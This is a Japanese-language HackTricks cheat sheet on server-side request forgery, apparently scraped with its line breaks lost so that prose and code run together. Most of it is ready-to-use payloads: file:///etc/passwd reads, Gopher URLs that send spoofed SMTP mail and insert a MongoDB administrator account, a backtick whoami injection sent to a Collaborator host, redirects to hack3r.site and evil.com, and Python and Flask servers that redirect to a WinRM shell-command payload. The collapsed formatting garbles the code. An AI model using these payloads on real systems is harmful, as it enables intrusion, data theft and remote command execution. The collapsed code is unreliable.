SSRF (Server Side Request Forgery)

Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。 今すぐアクセスしてください:

**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!

HackTricksをサポートする他の方法:HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをご確認ください!公式PEASS&HackTricksグッズを入手してくださいThe PEASS Familyを発見し、独占的なNFTsのコレクションをご覧ください**💬 Discordグループ**に参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください。ハッキングトリックを共有するには、HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してください。

基本情報サーバーサイドリクエストフォージェリ(SSRF)脆弱性は、攻撃者がサーバーサイドアプリケーションを操作して、攻撃者が選択したドメインにHTTPリクエストを行わせるときに発生します。この脆弱性により、攻撃者によって指示された任意の外部リクエストがサーバーに公開されます。SSRFのキャプチャ最初に行う必要があるのは、自分が生成したSSRFインタラクションをキャプチャすることです。HTTPまたはDNSインタラクションをキャプチャするには、次のようなツールを使用できます:Burp Collaboratorpingbcanarytokensinterractshhttp://webhook.sitehttps://github.com/teknogeek/ssrf-sheriffhttp://requestrepo.com/https://github.com/stolenusername/cowitnesshttps://github.com/dwisiswant0/ngocok - ngrokを使用したBurp Collaboratorホワイトリストされたドメインのバイパス通常、SSRFが特定のホワイトリストされたドメインまたはURLでのみ機能していることがわかります。次のページでは、そのホワイトリストをバイパスしようとするテクニックのコンパイルがあります:オープンリダイレクトを介したバイパスサーバーが適切に保護されている場合、Webページ内のオープンリダイレクトを悪用することで、すべての制限をバイパスできる可能性があります。Webページは同じドメインへのSSRFを許可し、おそらくリダイレクトをフォローするため、オープンリダイレクトを悪用してサーバーが内部の任意のリソースにアクセスすることができます。 詳細はこちら:https://portswigger.net/web-security/ssrfプロトコルfile://URLスキームfile://は、直接/etc/passwdを指すように参照されます:file:///etc/passwddict://DICT URLスキームは、DICTプロトコルを介して定義や単語リストにアクセスするために使用されると説明されています。与えられた例では、特定の単語、データベース、エントリ番号を対象とする構築されたURLと、PHPスクリプトが攻撃者が提供した資格情報を使用してDICTサーバーに接続するのに誤用される可能性が示されています:dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>SFTP://セキュアシェルを介したセキュアファイル転送のためのプロトコルとして識別され、PHPスクリプトが悪意のあるSFTPサーバーに接続する方法を示す例が提供されています:url=sftp://generic.com:11111/TFTP://UDPを介して動作するTrivial File Transfer Protocolが言及され、PHPスクリプトがTFTPサーバーにリクエストを送信するように設計されている例が示されています。TFTPリクエストは、ファイルTESTUDPPACKETを取得するためにポート12346generic.comに対して行われます:ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKETLDAP://このセグメントでは、IPネットワーク上で分散ディレクトリ情報サービスを管理およびアクセスするために使用されるLightweight Directory Access Protocolが取り上げられており、localhostのLDAPサーバーとのやり取りが強調されています:'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.SMTPSSRF脆弱性を悪用してlocalhostのSMTPサービスとやり取りする方法が記述されており、内部ドメイン名を明らかにする手順やその情報に基づいたさらなる調査アクションが含まれています。From https://twitter.com/har1sec/status/11822559520551649291. connect with SSRF on smtp localhost:252. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains4. connectCurl URL globbing - WAF bypassもしSSRFがcurlによって実行される場合、curlにはWAFをバイパスするのに役立つ可能性があるURL globbingという機能があります。たとえば、このwriteupでは、fileプロトコルを介したパストラバーサルの例が示されています。file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}Gopher://GopherプロトコルのIP、ポート、およびバイトを指定する能力について説明し、Gopherusやremote-method-guesserなどのツールを使用してペイロードを作成する方法が説明されています。2つの異なる用途が示されています:Gopher://このプロトコルを使用すると、サーバーに送信してほしいIP、ポート、およびバイトを指定できます。その後、基本的にSSRFを悪用して任意のTCPサーバーと通信できます(ただし、最初にサービスとの通信方法を知っている必要があります)。 幸いにも、Gopherusを使用して複数のサービス用のペイロードを作成できます。さらに、remote-method-guesserを使用して、Java RMIサービス向けの_gopher_ペイロードを作成できます。Gopher smtpssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250awill make a request likeHELO localhostMAIL FROM:<hacker@site.com>RCPT TO:<victim@site.com>DATAFrom: [Hacker] <hacker@site.com>To: <victime@site.com>Date: Tue, 15 Sep 2017 17:20:26 -0400Subject: Ah Ah AHYou didn't say the magic word !.QUITGopher HTTP#For new lines you can use %0A, %0D%0Agopher://<server>:8080/_GET / HTTP/1.0%0A%0Agopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+bodyGopher SMTP — 1337にバックコネクト<?phpheader("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");?>Now query it.https://example.com/?q=http://evil.com/redirect.php.Gopher MongoDB -- ユーザーを作成します。ユーザー名はadmin、パスワードはadmin123、権限は管理者です。# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinishedcurl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%07%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00%00%00administrator%00%00%00%00'Referrerヘッダーを介したSSRFおよびその他サーバー上のアナリティクスソフトウェアはしばしばReferrerヘッダーを記録して着信リンクを追跡します。この実践は、アプリケーションをサーバーサイドリクエストフォージェリ(SSRF)の脆弱性にさらすことになります。これは、そのようなソフトウェアがReferrerヘッダーに記載された外部URLを訪れてリファラーサイトのコンテンツを分析する可能性があるためです。これらの脆弱性を明らかにするために、Burp Suiteプラグイン "Collaborator Everywhere" を活用することが推奨されており、アナリティクスツールがRefererヘッダーを処理する方法を利用して潜在的なSSRF攻撃面を特定します。証明書からのSNIデータを介したSSRF任意のバックエンドへの接続を可能にする可能性のある誤った構成が、次のNginx構成の例で示されています:stream {server {listen 443;resolver 127.0.0.11;proxy_pass $ssl_preread_server_name:443;ssl_preread on;}}この構成では、サーバー名指定(SNI)フィールドからの値がバックエンドのアドレスとして直接利用されます。このセットアップは、SNIフィールドに希望のIPアドレスやドメイン名を指定するだけで悪用可能なサーバーサイドリクエストフォージェリ(SSRF)の脆弱性を露出させます。opensslコマンドを使用して、internal.host.comなどの任意のバックエンドに接続を強制するための悪用例が以下に示されています:openssl s_client -connect target.com:443 -servername "internal.host.com" -crlfWgetファイルアップロードコマンドインジェクション付きSSRF次のようなペイロードを試してみる価値があるかもしれません:url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`PDFのレンダリングWebページが提供した情報で自動的にPDFを作成している場合、PDF作成中にPDF作成者自体(サーバー)によって実行されるJSを挿入することができ、SSRFを悪用することができます。詳細はこちら.SSRFからDoSへSSRF PHP FunctionsSSRF Redirect to Gopherいくつかの悪用では、リダイレクト応答を送信する必要がある場合があります(別のプロトコル(例:gopher)を使用する可能性があります)。以下に、リダイレクトを使用して応答するための異なるPythonコードがあります:# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodesfrom http.server import HTTPServer, BaseHTTPRequestHandlerimport sslclass MainHandler(BaseHTTPRequestHandler):def do_GET(self):print("GET")self.send_response(301)```htmlself.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20```htmlself.end_headers()httpd = HTTPServer(('0.0.0.0', 443), MainHandler)httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)httpd.serve_forever()from flask import Flask, redirectfrom urllib.parse import quoteapp = Flask(__name__)@app.route('/')def root():return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)if __name__ == "__main__":app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。 今すぐアクセスしてください:SSRFへのミス構成されたプロキシこの投稿からのトリック。Flask

Last updated